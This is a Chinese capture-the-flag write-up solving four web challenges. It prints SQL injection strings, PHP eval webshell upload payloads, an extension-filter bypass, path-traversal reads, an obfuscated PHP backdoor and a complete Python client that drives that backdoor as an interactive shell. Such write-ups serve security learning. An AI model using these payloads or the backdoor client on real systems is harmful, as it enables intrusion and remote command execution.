攻防世界Web进阶部分题解
FlatScience
通过这题学到一些SQLite的语法,wget的应用
robots.txt找到两个隐藏文件。进入login.php,注入了一番好像没什么效果,查看源码发现一个debug选项,于是在URL后面加上?debug得到源码
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
看到SQL没有任何过滤,尝试注入,注入结果可以通过Cookie显示。
前置知识:sqlite的元数据存放在一个叫做sqlite_master的表中
首先得到表名。'union select 1,group_concat(name) from sqlite_master
,group_concat聚集函数用来把所有表名都得到,返回结果:Users,sqlite_autoindex_Users_1
查询Users表即可。获得表的原信息有一个简单的方法:查询sqlite_master中的sql字段,这是对应表的建表语句。构造语句:'union select 1,sql from sqlite_master where name="Users"--
,得到结果CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))
,从中可以看出各个字段。
语句'union select 1,password from Users where name="admin"--
得到密码的sha1值:3fab54a50e770d830c0416df817567662a9dc85c
语句'union select 1,hint from Users--
得到hint: my fav word in my fav paper?!
,看起来是密码了,但是怎么找他的fav word 和 fav paper呢?
其实可以直接网查md5。。ThinJerboaSalz!
去掉Salz!就可以了
登录就有flagflag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}
或者也可以全都看一遍。。用wget把所有pdf都爬下来
wget http://111.198.29.45:34550/ -r -np -nd -A .pdf
其中:-r表示递归,-nd表示不下载重复文件,-np表示不要递归到父目录,-A表示下载文件的类型。
接下来可以写个python脚本把所有的单词搞下来
bug
注册登陆功能。我注册了一个账号,用户名123,密码123,生日2015/01/01,地址123。反悔了uid=5
登录后发现cookie中多了个sessionid和user,user用md5解密后是5:123,也就是uid加上用户名。
personal页面有逻辑漏洞,这里直接获得admin的信息。
UID 1
Username admin
Birthday 1993/01/01
Address 福建省福州市闽侯县
去findpwd,使用这些信息,修改密码,成功登陆。
然后提示IP不允许,抓包修改一下。界面没有显示flag,但提示了一个页面:module=filemanage&do=???
,于是尝试一下do参数的值,改成upload,进入上传界面。
简单滴绕一下就可以了
-----------------------------384910805270038131130524863
Content-Disposition: form-data; name="upfile"; filename="shl.php5"
Content-Type: image/jpeg
<script language="php">@eval($_POST[pass])</script>
-----------------------------384910805270038131130524863--
cyberpeace{15fe2c9df94d3257760dc148fca98c8f}
ics-07
项目管理中找到一个view-source.php
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
<form action="#" method="get">
page : <input type="text" name="page" value="">
id : <input type="text" name="id" value="">
<input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a>
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
根据要求,首先page构造一个不是index.php的
接下来想办法带有admin的session,id参数要求浮点值不为1且最后一位是9,用1a9就可以构造了。这里用了escape过滤id,宽字节注入要求网站使用gbk编码,尝试了下并没有成功。
然后看到上面的upload模块,正则的意思是:文件名的末尾不能是.php,.php3等等,而不是说文件中间也不能出现这些字符。因此利用Linux的文件特性,可以如此构造
shell.php/nouse.php/..
con = <?php @eval($_POST['cmd']);?>
连接webshell就可以看到flag了。
cyberpeace{530f4f16dccfe259a753b3ef56790fda}
i-got-id-200
回来一定做QAQ
去北京的飞机上我会把Perl学完
[!] Web_php_wrong_nginx_config 好多不懂...
没什么用的登录页面。robots.txt提示了两个:hint.php和hack.php
hint.php:配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf
Hack.php,进入提示请登录。注意到isLogin的cookie,修改成1,成功进入。
注意到URL很有意思
http://111.198.29.45:41940/admin/admin.php?file=index&ext=php
可能有文件包含,但是直接输入
../../../../etc/passwd
显示不出东西
于是先做一次尝试:假设过滤并消除了../
http://111.198.29.45:41940/admin/admin.php?file=..././..././..././..././etc/passwd&ext=
能够读出。
..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=conf
读取出site.conf内容是
server {
...
location ~ /\. {
log_not_found off;
deny all;
}
location /web-img {
alias /images/;
autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ {
deny all;
}
include /var/www/nginx[.]conf;
}
autoindex表示目录浏览功能,也就是在这个目录可以进行目录遍历。
把/web-img/变为/web-img../可以访问根目录,具体原因也不清楚
在网站找到hack.php的bak
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>
乱七八糟的,执行处理一下
$kh="42f7";$kf="e9ac";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z$d");@session_destroy();}}}}
依然看不出是什么。。网上搜了一下,好像是个后门程序。网上给出了利用程序,原理也不清楚...
#!/usr/bin/env python
# encoding: utf-8
from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re
def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result
def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result
def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result
def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result
def debugPrint(msg):
if debugging:
print msg
# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://111.198.29.45:41940/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug
sess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)
acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))
# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload
# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)
# send request
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)
# process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')
ctf{a57b3698-eeae-48c0-a669-bafe3213568c}